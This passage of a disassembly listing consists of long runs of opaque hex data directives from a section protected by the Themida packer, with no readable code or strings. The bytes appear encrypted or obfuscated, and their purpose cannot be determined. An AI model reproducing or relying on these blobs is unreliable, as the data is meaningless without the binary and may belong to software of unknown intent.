		dd 0E3053416h, 60470AB2h, 0E3ABE2EAh, 601231D4h, 49B1B7D3h
		dd 0E073416h, 0FA45594Bh, 754887EAh, 0E3053416h, 60470AB2h
		dd 0E3ABE2EAh, 6018D29Bh, 49B1B7D3h, 0E103416h,	88405A3Ch
		dd 754887EAh, 0E3053416h, 60470AB2h, 0E3ABE2EAh, 6018D287h
		dd 49B1B7D3h, 0E013416h, 0BC420AD7h, 754887EAh,	0E3053416h
		dd 60470AB2h, 0E3ABE2EAh, 6018D283h, 78198F96h,	69443416h
		dd 66227790h, 5F94F415h, 238E313Ah, 463AB47Dh, 3F97CDEFh
		dd 0EB173106h, 65B09590h, 0EF94CD13h, 6FC2A890h, 5F94F413h
		dd 2A8E313Ah, 4094F17Dh, 3F97CDF5h, 0EB173106h,	65B09590h
		dd 0EF94CD13h, 6FC2AC90h, 6651DB13h, 0E34E3215h, 60471D2Ch
		dd 822F5A47h, 0D3EE8E5Fh, 608B1150h, 5EE3B798h,	0B6DD3416h
		dd 868BB79Ch, 0E34E341Ch, 60471D2Ch, 2C6A5A47h,	0D3EE9459h
		dd 608B1150h, 5EE3B798h, 0B6DD3416h, 868FB79Ch,	0E34E341Ch
		dd 60471D2Ch, 0D2C85A47h, 0D3EECF57h, 608B214Ch, 5EE3B798h
		dd 0B6DD3416h, 4008B79Ch, 0E34E3416h, 60471D2Ch, 0CE815A62h
		dd 0D3EEC182h, 608B1F04h, 5EE3B798h, 0B6DD3416h, 7440B79Ch
		dd 0E34E3416h, 60471D2Ch, 57355A47h, 0D3EEB8C8h, 608B214Ch
		dd 5EE3B798h, 0B6DD3416h, 7ACCB79Ch, 0E34E3416h, 60471D2Ch
		dd 0B1B5A43h, 0D3EEE60Ah, 608B1ADCh, 15F8B798h,	0B6DD3413h
		dd 4808B79Ch, 0E34E3416h, 60471D2Ch, 76585A52h,	0D3EEB3C9h
		dd 608B214Ch, 5EE3B798h, 0B6DD3416h, 4EBCB79Ch,	0E34E3416h
		dd 60471D2Ch, 0D3C05A52h, 0D3EEB81Ah, 608B214Ch, 5EE3B798h
		dd 0B6DD3416h, 86AFB79Ch, 0DB0B341Ch, 604729A4h, 37A63D15h
		dd 0A0113213h, 65A70B90h, 8F2C7E13h, 99FBE809h,	65026BA0h
		dd 0C10DBF13h, 9942312Dh, 0CCA7BBC5h, 0A0173BF5h, 65A70B90h
		dd 0A82C7E13h, 99FF46CBh, 65026BA0h, 0C10DBF13h, 9942312Dh
		dd 0C8A7BBC5h, 0A0173BF5h, 65A70B90h, 592C7E13h, 9995B397h
		dd 65026BA0h, 0C10DBF13h, 9942312Dh, 0D4A7BBC5h, 0A0173BF5h
		dd 65A70B90h, 7E2C7E13h, 99911D55h, 65026BA0h, 0C10DBF13h
		dd 9942312Dh, 0D4A7BBC5h, 0A0173BF5h, 65A70B90h, 722C7413h
		dd 9998EC13h, 65026BA0h, 0C10DBF13h, 9942312Dh,	0DCA7BBC5h
		dd 0A0173BF5h, 65A70B90h, 1C2C7513h, 99A3EE05h,	65026BA0h
		dd 0C10DBF13h, 9942312Dh, 0A4A7BBC5h, 0A0173BF5h, 65A70B90h
		dd 0CA2C7513h, 99CDB59Bh, 65026BA0h, 0C10DBF13h, 9942312Dh
		dd 0A0A7BBC5h, 0A0173BF5h, 65A70B90h, 0B42C7513h, 99F6A8B2h
		dd 65026BA0h, 0C10DBF13h, 9942312Dh, 0ACA7BBC5h, 0A0173BF5h
		dd 65A70B90h, 622C7513h, 9998F32Ch, 65026BA0h, 0C10DBF13h
		dd 9942312Dh, 0A8A7BBC5h, 0E5173BF5h, 6582B7A8h, 46313213h
		dd 491BB7D3h, 0E563416h, 86FA1F72h, 751D87EAh, 0E3AF3416h
		dd 60120AB2h, 0E301E2EAh, 604DD2C7h, 491BB7D3h,	0E563416h
		dd 0E8A181A4h, 751D87EAh, 0E3AF3416h, 60120AB2h, 0E301E2EAh
		dd 604DD2C3h, 491BB7D3h, 0E523416h, 0A6FE78B2h,	751D87EAh
		dd 0E3AF3416h, 60120AB2h, 0E301E2EAh, 604DD2CFh, 491BB7D3h
		dd 0E5D3416h, 9DEE5EFEh, 4B5587EAh, 0E3AF3416h,	60120AB2h
		dd 0E301E2EAh, 604DD37Bh, 491BB7D3h, 0E553416h,	0DDFBBC40h
		dd 751D87EAh, 0E3AF3416h, 60120AB2h, 0E301E2EAh, 604DD2CBh
		dd 491BB7D3h, 0E523416h, 0DA065CE9h, 751D87EAh,	0E3AF3416h
		dd 60120AB2h, 0E301E2EAh, 604DD2F7h, 491BB7D3h,	0E423416h
		dd 0A0980CBFh, 751D87EAh, 0E3AF3416h, 60120AB2h, 0E301E2EAh
		dd 604DD2F3h, 6F338F96h, 69113416h, 6688D291h, 5FC1F415h
		dd 2024313Ah, 0F0DF037Dh, 3F3DCDEFh, 0EB423106h, 651A9590h
		dd 0EFC1CD13h, 6F697090h, 5FC1F413h, 2024313Ah,	0C12BE47Dh
		dd 3F3DCDE9h, 0EB423106h, 651A9590h, 0EFC1CD13h, 6F696090h
		dd 5FC1F413h, 2024313Ah, 9AB5327Dh, 3F3DCD87h, 0EB423106h
		dd 651A9590h, 0EFC1CD13h, 6F696490h, 5FC1F413h,	2024313Ah
		dd 0B25E587Dh, 3F3DCDE3h, 0EB423106h, 651A9590h, 0EFC1CD13h
		dd 6F696890h, 5FC1F413h, 2024313Ah, 0AB41D57Dh,	3F3DCD81h
		dd 0EB423106h, 651A9590h, 0EFC1CD13h, 6F697490h, 5FC1F413h
		dd 2024313Ah, 4465097Dh, 3F3DCDA4h, 0EB423106h,	651A9590h
		dd 0EFC1CD13h, 6F697890h, 5FC1F413h, 2024313Ah,	1FFBDF7Dh
		dd 3F3DCDCAh, 0EB423106h, 651A9590h, 0EFC1CD13h, 6F697C90h
		dd 0E3F9B113h, 6624311Fh, 0E3D71260h, 608B1D2Ch, 861A5A46h
		dd 0D3DDFCABh, 6012214Ch, 5E2FB798h, 0B6BB3416h, 86C8B79Ch
		dd 0E3D7341Ch, 608B1D2Ch, 38C35A52h, 0D3DDF5A4h, 6012214Ch
		dd 5E2FB798h, 0B6BB3416h, 86CCB79Ch, 0DB92341Ch, 608B3890h
		dd 0A0644715h, 650D0B90h, 63797513h, 996E506Bh,	65576BA0h
		dd 0C1A7BF13h, 9917312Dh, 940DBBC5h, 0A0423BF5h, 650D0B90h
		dd 90797113h, 991A481Ch, 65576BA0h, 0C1A7BF13h,	9917312Dh
		dd 900DBBC5h, 0A0423BF5h, 650D0B90h, 46797113h,	99741382h
		dd 65576BA0h, 0C1A7BF13h, 9917312Dh, 9C0DBBC5h,	0E5423BF5h
		dd 6528B7A8h, 26643213h, 49B1B7D3h, 0E073416h, 0ED229A16h
		dd 754887EAh, 0E3053416h, 60470AB2h, 0E3ABE2EAh, 6018D317h
		dd 49B1B7D3h, 0E073416h, 837904C0h, 754887EAh, 0E3053416h
		dd 60470AB2h, 0E3ABE2EAh, 6018D2EBh, 49B1B7D3h,	0E073416h
		dd 8C8800F4h, 754887EAh, 0E3053416h, 60470AB2h,	0E3ABE2EAh
		dd 6018D313h, 49B1B7D3h, 0E073416h, 0E2D39E22h,	754887EAh
		dd 0E3053416h, 60470AB2h, 0E3ABE2EAh, 6018D31Fh, 49B1B7D3h
		dd 0E0B3416h, 0F117A2C1h, 754887EAh, 0E3053416h, 60470AB2h
		dd 0E3ABE2EAh, 6018D31Bh, 49B1B7D3h, 0E0B3416h,	9F4C3C17h
		dd 754887EAh, 0E3053416h, 60470AB2h, 0E3ABE2EAh, 6018D307h
		dd 49B1B7D3h, 0E093416h, 0AE154B5Ch, 754887EAh,	0E3053416h
		dd 60470AB2h, 0E3ABE2EAh, 6018D30Fh, 49B1B7D3h,	0E093416h
		dd 0BAD57F9Ch, 754887EAh, 0E3053416h, 60470AB2h, 0E3ABE2EAh
		dd 6018D303h, 49B1B7D3h, 0E113416h, 0FA391F22h,	754887EAh
		dd 0E3053416h, 60470AB2h, 0E3ABE2EAh, 6018D30Bh, 49B1B7D3h
		dd 0E073416h, 0B4F7C23Fh, 754887EAh, 0E3053416h, 60470AB2h
		dd 0E3ABE2EAh, 6018D337h, 49B1B7D3h, 0E163416h,	9B6086FFh
		dd 754887EAh, 0E3053416h, 60470AB2h, 0E3ABE2EAh, 6012140Ch
		dd 49B1B7D3h, 0E033416h, 84BA6B8Ch, 754887EAh, 0E3053416h
		dd 60470AB2h, 0E3ABE2EAh, 6018D333h, 49B1B7D3h,	0E033416h
		dd 0D7DF52D7h, 754887EAh, 0E3053416h, 60470AB2h, 0E3ABE2EAh
		dd 6018D33Fh, 49B1B7D3h, 0E033416h, 0B984CC01h,	754887EAh
		dd 0E3053416h, 60470AB2h
		dd 0E3ABE2EAh, 6018D33Bh, 49B1B7D3h, 0E1B3416h,	0F872C07Dh
		dd 754887EAh, 0E3053416h, 60470AB2h, 0E3ABE2EAh, 6018D327h
		dd 49B1B7D3h, 0E0B3416h, 0A1DE492Ah, 754887EAh,	0E3053416h
		dd 60470AB2h, 0E3ABE2EAh, 6018D34Bh, 49B1B7D3h,	0E033416h
		dd 9C795C59h, 754887EAh, 0E3053416h, 60470AB2h,	0E3ABE2EAh
		dd 6018D377h, 49B1B7D3h, 0E033416h, 0A52416D8h,	754887EAh
		dd 0E3053416h, 60470AB2h, 0E3ABE2EAh, 6018D373h, 49B1B7D3h
		dd 0E1B3416h, 0B29952D9h, 754887EAh, 0E3053416h, 60470AB2h
		dd 0E3ABE2EAh, 6018D323h, 49B1B7D3h, 0E1B3416h,	0F8CB665Bh
		dd 754887EAh, 0E3053416h, 60470AB2h, 0E3ABE2EAh, 6018D32Fh
		dd 49B1B7D3h, 0E1B3416h, 0B7311A5Dh, 754887EAh,	0E3053416h
		dd 60470AB2h, 0E3ABE2EAh, 6018D32Bh, 66E0367Fh,	0E443205h
		dd 66222215h, 0F3EE327Fh, 608B3D00h, 4905B79Ch,	0E3AF3416h
		dd 6018E2A2h, 62E2E2EAh, 6654327Dh, 46225A15h, 667B3215h
		dd 699DA7EAh, 0E3CD3416h, 60211060h, 74ACB79Ch,	26E23416h
		dd 6654327Dh, 66225A15h, 667B3214h, 699DA7EAh, 0E3CD3416h
		dd 60212DE4h, 757C879Eh, 0FB033416h, 60471AE8h,	474B879Ch
		dd 0FB983416h, 608B3918h, 4EB9AF9Eh, 6DA93416h,	6911CB96h
		dd 6682ED91h, 6156215h,	0E3ABF226h, 601220B8h, 66880EABh
		dd 42303115h, 658F5435h, 0ED311651h, 128B4A65h,	18CF1231h
		dd 0E79FBB0Dh, 0E3173135h, 6C0D3DEAh, 8E443215h, 6622231Bh
		dd 6611A3FCh, 0B1036315h, 0EF40E07Eh, 6538C780h, 0E155813h
		dd 66882215h, 99445847h, 652D2780h, 3B94BB13h, 0ED8E310Fh
		dd 0B9AC6BC5h, 30223205h, 425531B8h, 0B903A531h, 0C8840042h
		dd 99DBB71Ah, 4D4FCDEAh, 0B10360EEh, 49058F9Eh,	0AFA13416h
		dd 0ECD101EAh, 20490013h, 0A7C3369Eh, 0AE113AFCh, 8C943D5Fh
		dd 0ED77CDEAh, 3C94C5D4h, 0A4A1309Ch, 0E3EE6011h, 608B20B8h
		dd 74E9A79Eh, 0F31B3416h, 60121294h, 6682B61Ah,	381E3215h
		dd 8F26F496h, 99EECD8Eh, 3FE96C4Fh, 0FFC1F54Dh,	66243111h
		dd 0A1113215h, 65AC1F90h, 66443213h, 0C09FB115h, 66173BF5h
		dd 6680B61Ah, 0FBC93215h, 602B7A5Ch, 0E3EEE1EAh, 608B03A4h
		dd 57F58F96h, 69463416h, 66115097h, 0D70DF515h,	67423124h
		dd 6223215h, 876F8798h,	0DB05341Ch, 604DCFFCh, 0B1A9CC3Eh
		dd 49508F9Eh, 0AF0B3416h, 0EC8401EAh, 20E30013h, 0A796369Eh
		dd 0AEBB3AFCh, 8CC13D5Fh, 0EDDDCDEAh, 5FC1C5D4h, 65966790h
		dd 71C03D13h, 0E5223215h, 653DEFA8h, 0E3873213h, 6644321Fh
		dd 6443B7D2h, 66103416h, 0DFE93215h, 63494692h,	79403EAFh
		dd 0D3989F60h, 608B137Ch, 66B874D2h, 5B223215h,	88FFDCFBh
		dd 66A8B71Ah, 58C53215h, 0BBFFEFC8h, 6605B71Ah,	604F3215h
		dd 66443215h, 0EF26F496h, 65305BA0h, 6E71DB13h,	0BECF3215h
		dd 6443B726h, 0AED03416h, 0A74A1916h, 0A77722D5h, 6443AF9Ch
		dd 662C3416h, 69883315h, 66447796h, 0DD1CB315h,	69AA89AEh
		dd 66880B90h, 6642F515h, 0E5223215h, 0D39836D3h, 608B137Ch
		dd 4EB9AF9Eh, 6DA93416h, 0ED71E29Eh, 0F70D19D7h, 0A7423113h
		dd 0E32130F5h, 60121E38h, 0A78B9F83h, 7A60769Ch, 665EDB74h
		dd 34403215h, 0F303FB26h, 60472848h, 0E22D302Eh, 6611322Dh
		dd 278CF096h, 46C5BF2Eh, 0E32D3416h, 99EECDFDh,	86EB8798h
		dd 0DBC9341Ch, 60213F10h, 69D1B6B9h, 66883491h,	97AD9815h
		dd 0DEDDCDEAh, 66113215h, 2B94BF98h, 87BB3416h,	748FBF9Ch
		dd 3F4B3416h, 9B15B943h, 0ED42313Dh, 0CBA7B91Eh, 0B7173107h
		dd 0C70D31F5h, 55423136h, 0CB44A4E3h, 6513D2D4h, 65A41F90h
		dd 65E9A413h, 0DBA16CD4h, 60121B20h, 5F0C3D14h,	5D443215h
		dd 65316B98h, 4B953D13h, 5D883215h, 65692398h, 47A63D13h
		dd 5D113215h, 65894798h, 73C03D13h, 0EB223215h,	6FE4F388h
		dd 0ED5BCD13h, 0EFC1BBEDh, 8F243124h, 661134A1h, 9349AF98h
		dd 0B5BB341Ch, 4F178F96h, 69113416h, 66882F91h,	2FC10915h
		dd 69243104h, 66113E91h, 0EF0D0915h, 69423106h,	66223790h
		dd 99A8DB15h, 0E3B3CDEAh, 604731D4h, 663AB71Ah,	0DB923215h
		dd 608B2C84h, 6DC13D15h, 0EB223215h, 6FAD1E90h,	991DDB13h
		dd 0E37FCDEAh, 602131D4h, 9998B61Ah, 0DB0BCDEAh, 604DD24Ah
		dd 71A73D14h, 5D113215h, 6F688C90h, 6DC13D13h, 0EB223215h
		dd 3EF79290h, 99E5DB15h, 9977CDEAh, 7D938F96h, 69113416h
		dd 668B5591h, 0CCC10915h, 13243BF5h, 1B94B912h,	218E3124h
		dd 86F6B72Eh, 6157341Ch, 7C8CB79Eh, 5DCF3416h, 6FA49C90h
		dd 0ED254713h, 6537AB90h, 0E3B37513h, 604DD2A3h, 0E3A93560h
		dd 60121214h, 0DC0D0952h, 13423BF5h, 27A7B912h,	21173102h
		dd 8636B72Eh, 6131341Ch, 6A6BB79Eh, 5D563416h, 6F68F090h
		dd 0ED434713h, 650E0B90h, 0E32A7513h, 6081D2D3h, 0E3CF3560h
		dd 60211868h, 0AC940952h, 138E3BF5h, 0D3C1B912h, 21243136h
		dd 86DFB72Eh, 61FD341Ch, 5431B79Eh, 5D653416h, 6FF1E490h
		dd 0ED8F4713h, 6554D390h, 0E3197513h, 6018D2C7h, 0DB0B2260h
		dd 60473890h, 0ED254715h, 6530AF90h, 0DB0B7513h, 60473DE4h
		dd 5D2D4615h, 6FF06C90h, 0ED8F4713h, 6553AF90h,	0DBA17513h
		dd 60123B04h, 0E5FA4615h, 656A0FA8h, 0F563213h,	8753B72Eh
		dd 61FD341Ch, 5615B79Eh, 5D653416h, 6FF06090h, 0ED8F4713h
		dd 655EBF90h, 0E3197513h, 6018D353h, 0E3033560h, 60473AA4h
		dd 30A70952h, 13173BF4h, 0D30DB912h, 21423133h,	8778B72Eh
		dd 6164341Ch, 6C11B79Eh, 5D033416h, 6FC37890h, 0ED164713h
		dd 65A42F90h, 0E37F7513h, 602BD35Bh, 0E39A3560h, 608B19ECh
		dd 5BF9B152h, 6624313Bh, 641BB61Ah, 0E3B33215h,	604DD2CFh
		dd 0E3A93560h, 60123DDCh, 80D0952h, 13423BF4h, 17A7B912h
		dd 2117310Fh, 8656B72Eh, 6131341Ch, 6983B79Eh, 5D563416h
		dd 6F68D090h, 0ED434713h, 65235B90h, 0E32A7513h, 6081D2F3h
		dd 0E3CF3560h, 60213E14h, 8C940952h, 138E3BF5h,	0E3F9B105h
		dd 6624311Fh, 0E39A3560h, 608B2074h, 88C10952h,	13243BF5h
		dd 4F94B912h, 218E3106h, 86B6B72Eh, 7657341Ch, 6C948F96h
		dd 13883416h, 0C7C1B912h, 21243135h, 86E7B72Eh,	61FD341Ch
		dd 4679B79Eh, 5D653416h, 6FF1C890h, 0ED8F4713h,	65466390h
		dd 0E3197513h, 6018D317h, 0DB0B2260h, 60473890h, 0ED254715h
		dd 6500BB90h, 0E3B37513h, 604DD2EBh, 0DBA12260h, 60123890h
		dd 0ED8F4715h, 6556EB90h, 0E3197513h, 6018D313h, 0E3033560h
		dd 6047025Ch, 6CA70952h, 13173BF4h, 330DB912h, 2142313Fh
		dd 872CB72Eh, 6164341Ch, 74F5B79Eh, 5D033416h, 6FC32090h
		dd 0ED164713h, 658DEB90h, 0E37F7513h, 602BD303h, 0E39A3560h
		dd 608B03F0h, 7CC10952h, 13243BF4h, 8F94B912h, 218E3125h
		dd 875AB72Eh, 6157341Ch, 7460B79Eh, 5DCF3416h, 6FA51090h
		dd 0ED254713h, 6503CB90h, 0E3B37513h, 6047140Ch, 0E3A93560h
		dd 60122994h, 400D0952h, 13423BF4h, 97A7B912h, 2117313Eh
		dd 87EAB72Eh, 7F31341Ch, 87488F96h, 1311341Ch, 5335B11Ch
		dd 6642313Ch, 0E3A93561h, 60122F94h, 0D0952h, 13423BF4h
		dd 0C9FB10Ch, 66173BF4h, 0DB0B3B60h, 60471B20h,	0ED254615h
		dd 6510E390h, 0E3B37513h, 604DD33Fh, 0E3A93560h, 60123838h
		dd 480D0952h, 13423BF4h
		dd 7FA7B912h, 21173116h, 87BAB72Eh, 6131341Ch, 40F3B79Eh
		dd 5D563416h, 6F690490h, 0ED434713h, 65011B90h,	0E32A7513h
		dd 6081D32Fh, 0E3CF3560h, 6021264Ch, 58940952h,	138E3BF4h
		dd 0AFC1B912h, 2124311Ah, 0E21ECD1Eh, 66883210h, 99BFD8FCh
		dd 37A709EAh, 69173107h, 66883990h, 52C1BF15h, 8F243B83h
		dd 99EEC9C6h, 7A55B72Eh, 0E34B3416h, 6622320Dh,	864E8F96h
		dd 6989341Ch, 66443990h, 45A7BF15h, 8F116AF3h, 9977C9BAh
		dd 86DEB72Eh, 0E22D341Ch, 66113219h, 8616B72Eh,	0E34B341Ch
		dd 66223210h, 99EAA0FCh, 66888CEAh, 98C73215h, 23A73D14h
		dd 5D113215h, 6F68BC90h, 6DC13D13h, 0EB223215h,	3E73D690h
		dd 9DE5DB15h, 0E37FCDEAh, 602BD287h, 661AB71Ah,	0E3053215h
		dd 661C514Fh, 99D964FCh, 0F09409EAh, 698E3BF5h,	66443990h
		dd 0F9A7BF15h, 8F116A76h, 9977C92Ah, 67FAF29Eh,	6D223215h
		dd 63943DE3h, 8F883215h, 99BBC936h, 0D3ABC29Eh,	60123224h
		dd 4B41879Ch, 58C43416h, 40A73DFCh, 0ED113215h,	988B336Bh
		dd 0A5C5EC9Eh, 66227215h, 66208F2Eh, 0E4873416h, 6644321Dh
		dd 0E02DC92Eh, 66113210h, 9972D4FCh, 13F9B9EAh,	0A1243137h
		dd 6533E390h, 66883213h, 0D3CD5215h, 60211FDCh,	9DB3AF98h
		dd 0B577341Ch, 6666B01Ah, 0FBAF3215h, 6019A393h, 0E587E1EAh
		dd 99BBCDCBh, 4BEB879Eh, 0D3983416h, 608B10C4h,	21B5AF98h
		dd 0B5DD341Ch, 6620B79Eh, 0E3013416h, 60471FDCh, 6DBFBF74h
		dd 99173BEDh
		db 0C6h
byte_5AAF8D	db 0BFh, 15h, 95h	; DATA XREF: Themida_:005436FDo
		dd 99423BEFh, 6AA13DC6h, 0E5113215h, 65A5FB90h,	0B8AD3713h
		dd 0EBDDCDEAh, 6FEA2E88h, 695BCD13h, 66443A96h,	62E0B115h
		dd 661100FCh, 0E015BF15h, 99423A84h, 6DA13DC6h,	0ED113215h
		dd 65A5FBA0h, 61C4DB13h, 0EBA93215h, 60121FDCh,	4B41879Ch
		dd 0A86F3416h, 9709EBE2h, 0F0F896E6h, 0EB77CDEAh, 6F0C7B88h
		dd 0EDF1CD13h, 139419D2h, 0EF8E3137h, 65629B90h, 13A7B913h
		dd 31173137h, 0D805BF45h, 99423B5Dh, 97A7B9C4h,	3617310Ah
		dd 130DB942h, 36423137h, 2ECFBF98h, 0B7EE341Ch,	0AE03E29Eh
		dd 79B5BF3Eh, 0DBA13416h, 60123664h, 4D0C3D15h,	0ED443215h
		dd 652B9F90h, 17941913h, 5D8E3111h, 71C23DD4h, 0ED223215h
		dd 6538A790h, 170D3113h, 0EF423111h, 6513BB90h,	6652DB13h
		dd 0EDD93215h, 99497AD4h, 2622321Ah, 6FBCB79Ch,	0E3893416h
		dd 60471728h, 6253B7D2h, 66113416h, 26E23215h, 6654327Dh
		dd 66486315h, 6904A7EAh, 0F3773416h, 604723D0h,	4FB7B79Ch
		dd 0E3983416h, 608B039Ch, 0EFF1CD4Ch, 99243124h, 650EC3A0h
		dd 0D3776513h, 60471060h, 2B5DB798h, 0B6EE341Ch, 62F9BF14h
		dd 0DBCF3416h, 6021039Ch, 79E0879Eh, 0C27B3416h, 472D879Eh
		dd 0A18F3416h, 6611CE53h, 0A6493215h, 12C33710h, 0E3213718h
		dd 60123334h, 5701BF9Eh, 6ECD3416h, 9A64F5B8h, 66113215h
		dd 47E1879Ch, 9EC73416h, 46A73DEAh, 0E7113215h,	0BB55EF2Bh
		dd 72C13DC8h, 0A1223215h, 66113213h, 624EB115h,	472D879Ch
		dd 80CB3416h, 0A7EECDE3h, 0E38B31D5h, 60473334h, 74378F96h
		dd 69103416h, 6688AF91h, 0CC7AB315h, 698898BFh,	66112090h
		dd 624EB115h, 66B874D2h, 0F1223215h, 65F8DBA5h,	0F1883215h
		dd 0E514DAA5h, 650B07A8h, 0E21E3313h, 6688322Bh, 664532ADh
		dd 0C09FB115h, 66173BF5h, 6680B61Ah, 0FBC93215h, 602B62D5h
		dd 5991E1EAh, 6E0C3D85h, 0E5443215h, 25CB37D2h,	0E5113215h
		dd 0E48762EDh, 6644321Fh, 3E88A2A5h, 6635DBBFh,	0CCD03215h
		dd 8FBB4D95h, 663AB71Ah, 0DB923215h, 6081D2B3h,	6EC03D15h
		dd 0EB223215h, 6F41A288h, 0EE5BCD13h, 0E3CF3652h, 6021039Ch
		dd 8E92F53Eh, 0A1259911h, 6644CE53h, 77CB3215h,	0EFEECDEAh
		dd 65A95BA0h, 662C6013h, 0C223295h, 3BA4CD15h, 998E310Fh
		dd 656A2B80h, 0EBA96813h, 60121AE8h, 668833D2h,	0A7C73215h
		dd 9BAFBB11h, 8F17313Dh, 9977C705h, 664296FCh, 0EBA95215h
		dd 60121AE8h, 0EB013B9Eh, 604DD2B7h, 326C0A94h,	0E31E7E51h
		dd 66883209h, 623CB373h, 0E32D1C59h, 66113205h,	0A00BC29Eh
		dd 23C1B913h, 8F243136h, 66113313h, 0B603C29Eh,	5AE8FB26h
		dd 3BA63D15h, 5A113215h, 890C3D38h, 5ABBCDEAh, 5BA63D3Bh
		dd 5A113215h, 660A3D25h, 5A443214h, 0B1A43D2Ch,	5AEECDEAh
		dd 960A3D54h, 5A443215h, 0A1A43D4Fh, 5AEECDEAh,	0D90C3D4Ah
		dd 5ABBCDEAh, 0BEA03D74h, 5A113215h, 0C90E3D6Fh, 8FBBCDEAh
		dd 662232DEh, 69C70957h, 6688F091h, 8F057815h, 99DDCD8Fh
		dd 0E21EFB90h, 668832A6h, 71F58798h, 0ACA93416h, 48A1C89Eh
		dd 9F0D3DBBh, 4DBBCDEAh, 4DFBC5DAh, 95E6B5ECh, 99CFF4B1h
		dd 0D7D1BF15h, 0ED243102h, 65315390h, 6948B713h, 66442890h
		dd 5FA7F415h, 2117313Ah, 0FC2FE07Dh, 0AFF1CDC1h, 0EB24313Dh
		dd 60628E90h, 3458CD13h, 0A6C1E2EAh, 661AB71Ah,	0E39A3215h
		dd 608B291Ch, 0E34BF290h, 6622320Fh, 4928B7D3h,	0EC43416h
		dd 0BF9E2EFCh, 4EEB87EAh, 0E39C3416h, 608E41A9h, 9916E2EAh
		dd 69E2B7C5h, 66113790h, 66A9DB15h, 0E3CD3215h,	602BD2B7h
		dd 0E39C6445h, 608E5F91h, 0A64FE2EAh, 6627B71Ah, 62F83215h
		dd 0EF883215h, 7581651h, 0EBA952D6h, 6018D2B7h,	6549B945h
		dd 0F6CF0E55h, 6622329Dh, 7834A79Ch, 9E8D3416h,	0ED443215h
		dd 0F3AB3E45h, 6012227Ch, 42CCB94Dh, 5D851931h,	65325B90h
		dd 76933D13h, 5D883215h, 655A1790h, 62A13D13h, 7113215h
		dd 78836D7h, 666036D2h,	0A1223215h, 66151651h, 0DE883215h
		dd 66443210h, 2B3EBF98h, 87EE3416h, 5A8EB875h, 58C03DFCh
		dd 5A223215h, 24953DFDh, 5A883215h, 74C03D1Ah, 5A223215h
		dd 59953DD8h, 5A883215h, 2FC03DFEh, 7223215h, 674FB8D6h
		dd 0E678D195h, 0E34BB2EEh, 99DDCDFAh, 0A592EC9Eh, 64D63113h
		dd 664426FCh, 677CB915h, 69EAC996h, 66881B91h, 659AB915h
		dd 0A5A1334Bh, 99D8DB10h, 0D087CDEAh, 8DC7334Bh, 0DAA63D3Bh
		dd 8FEECDEAh, 6688321Fh, 98454C95h, 998FB71Ah, 6F8CDEAh
		db 0EAh, 0CDh, 77h
byte_5AB47F	db 30h			; DATA XREF: Themida_:005436F9o
		dd 55136144h, 0BEA89ED5h, 0E6E1D195h, 0E28742EEh, 664432F9h
		dd 0E22D3D29h, 66113230h, 0E287DB29h, 66443391h, 0E22DD929h
		dd 66113000h, 0E287D129h, 66443264h, 0E22DD029h, 66113056h
		dd 38D1694Ah, 14C1F5D6h, 60243BF4h, 0EC113215h,	966BB20Bh
		dd 69C4C995h, 99DDD190h, 0E39A7CEAh, 608B3224h,	4495A79Eh
		dd 0B8A93416h, 6517F196h, 0BEB3304Bh, 664CB01Ah, 0BC193215h
		dd 99AFB41Ah, 0B9A3CDEAh, 42D996h, 0F58954B8h, 62D7B1BEh
		dd 0EFAC0E9Ch, 0EF481661h, 650FFBA0h, 3F4A6D13h, 624CB14Bh
		dd 99BE52FCh, 14A7F5EAh, 64173BF4h, 0ED883215h,	68F23DCBh
		dd 69A2CB95h, 66113A96h, 25513115h, 66443FFCh, 99CBB215h
		dd 8790EBE2h, 668832EAh, 0E3CFEB3Eh, 60213224h,	44C0A79Eh
		dd 0DB0B3416h, 6047368Ch, 0C5A63D14h, 5D113215h, 0FD0A3DCDh
		dd 5D443215h, 27A03DCFh, 8FEECDEAh, 6688329Bh, 8736B7D2h
		dd 6620341Ch, 0B89A3215h, 0E686841Ah, 0E54BB2ECh, 6622321Dh
		dd 8F52EB16h, 66883218h, 91BBDB95h, 99C3B3CCh, 4D113215h
		dd 570DB9CCh, 0ED423115h, 6500E380h, 0FFACB113h, 678E3111h
		dd 660CB61Ah, 0BE193215h, 6619B01Ah, 0BCB33215h, 98A2B41Ah
		dd 0D66CCDEAh, 689B981Ah, 8708B2A5h, 0CC85381Ah, 8DA1ED3Eh
		dd 0E5BAA111h, 0D30130D3h, 60471FDCh, 62BBB7D2h, 66103416h
		dd 0A20B3215h, 0E51D6911h, 0A2A136D1h, 9F66DB11h, 0D6C6CDEAh
		dd 0A0CF98FCh, 8EA1F53Eh, 0A2929911h, 38D16911h, 8F40F696h
		dd 99DDCBD2h, 8763B7D2h, 668D341Ch, 0B8CF3215h,	6526F196h
		dd 5794B90Bh, 0ED8E3115h, 6566E380h, 0DBA17C13h, 60121638h
		dd 650C3D14h, 5D443214h, 6EA03DCDh, 5D113215h, 4D0E3DCFh
		dd 0EF443215h, 650FFBA0h, 148CB913h, 678E3BF4h,	8F481649h
		dd 662232CBh, 4B94F54Ah, 678E3131h, 3D443215h, 0A2A16C4Ch
		dd 9EE6DB11h, 0DB0BCDEAh, 6047368Ch, 0DDA63D14h, 4D113215h
		dd 65880388h, 13C9B913h, 65243137h, 0E5DE19DEh,	8F3837FCh
		dd 0E5EFA3BFh, 3F7936D1h, 62D5B14Bh, 99711CFCh,	14C1F5EAh
		dd 64243BF4h, 0ED113215h, 683E3DCBh, 69C4CB95h,	66223A96h
		dd 25C83115h, 66883FFCh, 99ADB215h, 87A3EBE2h, 661132EAh
		dd 0E303EB3Eh, 60473224h, 44F3A79Eh, 20F83416h,	0A177CDEAh
		dd 6FA54090h, 66223013h, 69CFB915h, 9F083CA3h, 6EC73D95h
		dd 65223215h, 6BF871CCh, 0E6883215h, 0BFB3CDFCh, 66DDD394h
		dd 0BF3A3215h, 66B9B79Eh, 0F3CF3416h, 602110C4h, 62888F96h
		dd 69893416h, 99BAFB91h, 69FA09EAh, 66113A97h, 69520915h
		dd 99B95593h, 0A8A97CEAh, 8F92FD3Eh, 0CC618210h, 0EEAD9984h
		dd 0ECDDCDEDh, 69F90E13h, 66883491h, 7EADCA15h,	35223215h
		dd 3812EC9Eh, 634BB114h, 4DEEDAA5h, 62C9B1CAh, 0E54A9986h
		dd 0A57137D3h, 60CF5444h, 0E22DF129h, 66113255h, 0E287F929h
		dd 6644322Dh, 0E22DF029h, 6611322Dh, 0E287F829h, 66443225h
		dd 43DD0F73h, 6621B61Ah, 5BEE3215h, 0E34BCD3Bh,	66223218h
		dd 4213749Fh, 69280EE5h, 66441191h, 8FDA6B15h, 6611322Ch
